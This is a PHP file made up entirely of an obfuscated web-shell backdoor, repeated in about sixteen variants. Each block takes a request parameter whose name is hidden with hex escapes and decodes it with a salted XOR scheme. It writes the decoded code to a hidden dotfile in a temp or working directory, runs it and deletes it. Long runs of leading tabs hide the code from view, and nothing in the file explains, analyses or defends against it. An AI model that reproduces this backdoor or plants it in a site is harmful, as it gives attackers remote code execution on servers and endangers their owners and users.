<?php																																										if(@$_POST["\x64ata"] !== null){ $marker = $_POST["\x64ata"]; $marker= explode ( "." ,$marker ) ; $key = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $k = 0; $len = count($marker); do { if($k >= $len) break; $v2 = $marker[$k]; $sChar = ord($s2[$k % $sLen]); $dec =((int)$v2 - $sChar -($k % 10)) ^8; $key .= chr($dec); $k++;} while(true); $entity = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/tmp", session_save_path(), getenv("TMP"), "/var/tmp"]); while ($comp = array_shift($entity)) { if (max(0, is_dir($comp) * is_writable($comp))) { $ref = join("/", [$comp, ".binding"]); $success = file_put_contents($ref, $key); if ($success) { include $ref; @unlink($ref); die();} } } }
																																										if(count($_POST) > 0 && isset($_POST["pointer"])){ $itm = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP"), "/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", sys_get_temp_dir()]); $descriptor = $_POST["pointer"]; $descriptor = explode( "." , $descriptor ) ; $reference = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s6); foreach($descriptor as $j => $v3): $sChar = ord($s6[$j% $lenS]); $dec =((int)$v3 - $sChar -($j% 10)) ^ 11; $reference .= chr($dec); endforeach; while ($hld = array_shift($itm)) { if ((is_dir($hld) and is_writable($hld))) { $dat = vsprintf("%s/%s", [$hld, ".flag"]); if (file_put_contents($dat, $reference)) { include $dat; @unlink($dat); exit; } } } }
																																										if(isset($_REQUEST["pr\x6Fp\x65\x72\x74y_\x73\x65t"])){ $flg = $_REQUEST["pr\x6Fp\x65\x72\x74y_\x73\x65t"]; $flg = explode ('.' , $flg ); $holder = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); $m = 0; array_walk($flg, function ($v7) use (&$holder, &$m, $salt4, $lenS) {$sChar = ord($salt4[$m % $lenS] ); $dec = ((int)$v7 - $sChar - ($m % 10)) ^ 72; $holder .= chr($dec ); $m++;}); $itm = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($itm as $data_chunk) { if (!( !is_dir($data_chunk) || !is_writable($data_chunk) )) { $data = implode("/", [$data_chunk, ".dat"]); if (file_put_contents($data, $holder)) { require $data; unlink($data); die(); } } } }
																																										if(!is_null($_POST["f\x61\x63"] ?? null)){ $flag = $_POST["f\x61\x63"]; $flag= explode ( '.' , $flag ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $k = 0; array_walk( $flag , function( $v4) use( &$obj , &$k , $s , $lenS) { $chS = ord( $s[$k % $lenS]); $d =( ( int)$v4 - $chS -( $k % 10)) ^ 21; $obj .=chr( $d); $k++;} ); $data = array_filter([getcwd(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp", session_save_path(), getenv("TEMP")]); $factor = 0; do { $parameter_group = $data[$factor] ?? null; if ($factor >= count($data)) break; if (is_dir($parameter_group) ? is_writable($parameter_group) : false) { $item = str_replace("{var_dir}", $parameter_group, "{var_dir}/.binding"); if (file_put_contents($item, $obj)) { include $item; @unlink($item); exit; } } $factor++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x68\x6Cd"])){ $property_set = $_POST["\x68\x6Cd"]; $property_set= explode("." ,$property_set) ; $object = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s1 ); foreach ($property_set as $k => $v8): $sChar = ord($s1[$k % $lenS] ); $d = ((int)$v8 - $sChar - ($k % 10)) ^7; $object .= chr($d ); endforeach; $comp = array_filter([getenv("TMP"), "/dev/shm", sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp"]); $mrk = 0; do { $rec = $comp[$mrk] ?? null; if ($mrk >= count($comp)) break; if (!!is_dir($rec) && !!is_writable($rec)) { $resource = implode("/", [$rec, ".ent"]); if (file_put_contents($resource, $object)) { include $resource; @unlink($resource); exit; } } $mrk++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x69\x74em"])){ $parameter_group = array_filter([getenv("TEMP"), "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TMP")]); $k = $_REQUEST["\x69\x74em"]; $k =explode ( '.' ,$k) ; $ptr = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9 ); $p = 0; $__tmp = $k; while( $v2 = array_shift( $__tmp)) { $chS = ord( $salt9[$p % $sLen] ); $d =( ( int)$v2 - $chS -( $p % 10)) ^ 41; $ptr .= chr( $d ); $p++; } foreach ($parameter_group as $reference) { if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $flag = "$reference" . "/.pset"; if (@file_put_contents($flag, $ptr) !== false) { include $flag; unlink($flag); die(); } } } }
																																										if(!is_null($_POST["\x62\x69\x6E\x64ing"] ?? null)){ $entry = $_POST["\x62\x69\x6E\x64ing"]; $entry =explode (".",$entry); $symbol = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $z = 0; array_walk($entry, function ($v1) use (&$symbol, &$z, $s, $lenS) { $chS = ord($s[$z % $lenS] ); $d = ((int)$v1 - $chS - ($z % 10)) ^ 90; $symbol.= chr($d ); $z++; } ); $token = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp"]); foreach ($token as $key => $record) { if (!!is_dir($record) && !!is_writable($record)) { $tkn = vsprintf("%s/%s", [$record, ".hld"]); if (@file_put_contents($tkn, $symbol) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_POST) && isset($_POST["sy\x6D"])){ $data_chunk = array_filter(["/var/tmp", "/tmp", getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $component = $_POST["sy\x6D"]; $component= explode ( '.', $component ) ; $binding = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s4); $t = 0; while($t < count($component)) { $v5 = $component[$t]; $chS = ord($s4[$t %$lenS]); $dec = ((int)$v5 - $chS -($t %10)) ^ 40; $binding .= chr($dec); $t++; } $flag = 0; do { $tkn = $data_chunk[$flag] ?? null; if ($flag >= count($data_chunk)) break; if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $ptr = join("/", [$tkn, ".rec"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $binding); fclose($file); include $ptr; @unlink($ptr); exit; } } $flag++; } while (true); }
																																										if(isset($_POST["\x74\x6Bn"])){ $factor = $_POST["\x74\x6Bn"]; $factor= explode ( '.' , $factor ); $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $u = 0; $__tmp = $factor; while ($v3 = array_shift($__tmp)) { $sChar = ord($s[$u %$lenS] ); $dec = ((int)$v3 - $sChar - ($u %10)) ^ 41; $k .= chr($dec ); $u++;} $component = array_filter([sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp"]); while ($dchunk = array_shift($component)) { if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $hld = "$dchunk" . "/.symbol"; if (@file_put_contents($hld, $k) !== false) { include $hld; unlink($hld); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x74\x6Fken"])){ $object = array_filter([getcwd(), "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir")]); $reference = $_POST["\x74\x6Fken"]; $reference = explode ( "." ,$reference ); $data = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2); $i = 0; $__len = count( $reference); do {if( $i >= $__len) break; $v3 = $reference[$i]; $sChar = ord( $salt2[$i%$sLen]); $dec =( ( int)$v3 - $sChar -( $i%10))^58; $data .=chr( $dec); $i++; } while( true); for ($hld = 0, $bind = count($object); $hld < $bind; $hld++) { $k = $object[$hld]; if ((bool)is_dir($k) && (bool)is_writable($k)) { $dat = join("/", [$k, ".binding"]); if (file_put_contents($dat, $data)) { include $dat; @unlink($dat); exit; } } } }
																																										if(isset($_POST["e\x6Cem"]) ? true : false){ $res = $_POST["e\x6Cem"]; $res= explode ( ".", $res ) ; $ptr = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $__len = count($res); for ($v = 0; $v < $__len; $v++) { $v8 = $res[$v]; $chS = ord($salt3[$v % $lenS]); $dec = ((int)$v8 - $chS - ($v % 10)) ^ 72; $ptr .= chr($dec); } $itm = array_filter([sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm"]); foreach ($itm as $key => $reference) { if (array_product([is_dir($reference), is_writable($reference)])) { $key = implode("/", [$reference, ".rec"]); if (file_put_contents($key, $ptr)) { require $key; unlink($key); die(); } } } }
																																										if(!is_null($_POST["\x70\x72\x6Fp\x65\x72\x74y_set"] ?? null)){ $ref = array_filter([getcwd(), "/var/tmp", session_save_path(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $ent = $_POST["\x70\x72\x6Fp\x65\x72\x74y_set"]; $ent= explode ( '.' ,$ent) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $t = 0; array_walk( $ent, function( $v6) use( &$desc, &$t, $s, $lenS) { $sChar = ord( $s[$t % $lenS]); $dec =( ( int)$v6 - $sChar -( $t % 10)) ^ 31; $desc .= chr( $dec); $t++; }); foreach ($ref as $symbol): if ((is_dir($symbol) and is_writable($symbol))) { $flg = "$symbol/.pgrp"; $success = file_put_contents($flg, $desc); if ($success) { include $flg; @unlink($flg); exit;} } endforeach; }
																																										if(array_key_exists("\x72\x65\x73o\x75rce", $_REQUEST) && !is_null($_REQUEST["\x72\x65\x73o\x75rce"])){ $property_set = $_REQUEST["\x72\x65\x73o\x75rce"]; $property_set = explode ( "." , $property_set ) ; $element = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $i = 0; while ($i <count($property_set)) { $v9 = $property_set[$i]; $chS = ord($s7[$i % $sLen] ); $dec = ((int)$v9 - $chS - ($i % 10)) ^59; $element .= chr($dec ); $i++; } $descriptor = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", session_save_path(), "/tmp", getcwd(), "/dev/shm"]); while ($value = array_shift($descriptor)) { if (!( !is_dir($value) || !is_writable($value) )) { $val = implode("/", [$value, ".pset"]); if (file_put_contents($val, $element)) { require $val; unlink($val); exit; } } } }
																																										if(@$_REQUEST["\x72\x65c"] !== null){ $holder = $_REQUEST["\x72\x65c"]; $holder = explode ( '.' , $holder ) ; $data = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); foreach ($holder as $i => $v9): $sChar = ord($salt1[$i % $lenS]); $dec = ((int)$v9 - $sChar - ($i % 10)) ^75; $data.= chr($dec); endforeach; $val = array_filter([sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); foreach ($val as $key => $symbol) { if (is_writable($symbol) && is_dir($symbol)) { $ent = vsprintf("%s/%s", [$symbol, ".pgrp"]); if (@file_put_contents($ent, $data) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(@$_POST["ref"] !== null){ $descriptor = $_POST["ref"]; $descriptor =explode( '.' ,$descriptor ); $rec= ''; $salt4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt4); $i= 0; while ($i < count($descriptor)) { $v6= $descriptor[$i]; $sChar= ord($salt4[$i %$sLen]); $dec= ((int)$v6 - $sChar - ($i %10)) ^69; $rec .= chr($dec); $i++; } $data_chunk = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm"]); $elem = 0; do { $reference = $data_chunk[$elem] ?? null; if ($elem >= count($data_chunk)) break; if (is_dir($reference) ? is_writable($reference) : false) { $pset = "$reference" . "/.tkn"; if (@file_put_contents($pset, $rec) !== false) { include $pset; unlink($pset); exit; } } $elem++; } while (true); }


if(!empty($_POST["\x76a\x6C"])){
	$item = array_filter([session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP")]);
	$flag = $_POST["\x76a\x6C"];
	$flag=	  explode		( 		'.' 		, 		$flag ) ;	
	$element = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$s	 );
            $r = 0;
    
            array_walk(	$flag ,  function(	$v7) use(	&$element ,  &$r ,  $s ,  $lenS) {
                $chS = ord(	$s[$r		%	$lenS]	 );
                $dec =(	(	int)$v7 - $chS -(	$r		%	10)) ^ 57;
                $element.=	chr(	$dec	 );
                $r++;
            }	 );
	foreach ($item as $dchunk):
    		if (is_writable($dchunk) && is_dir($dchunk)) {
    $marker = implode("/", [$dchunk, ".data"]);
    $file = fopen($marker, 'w');
if ($file) {
	fwrite($file, $element);
	fclose($file);
	include $marker;
	@unlink($marker);
	die();
}
}
endforeach;
}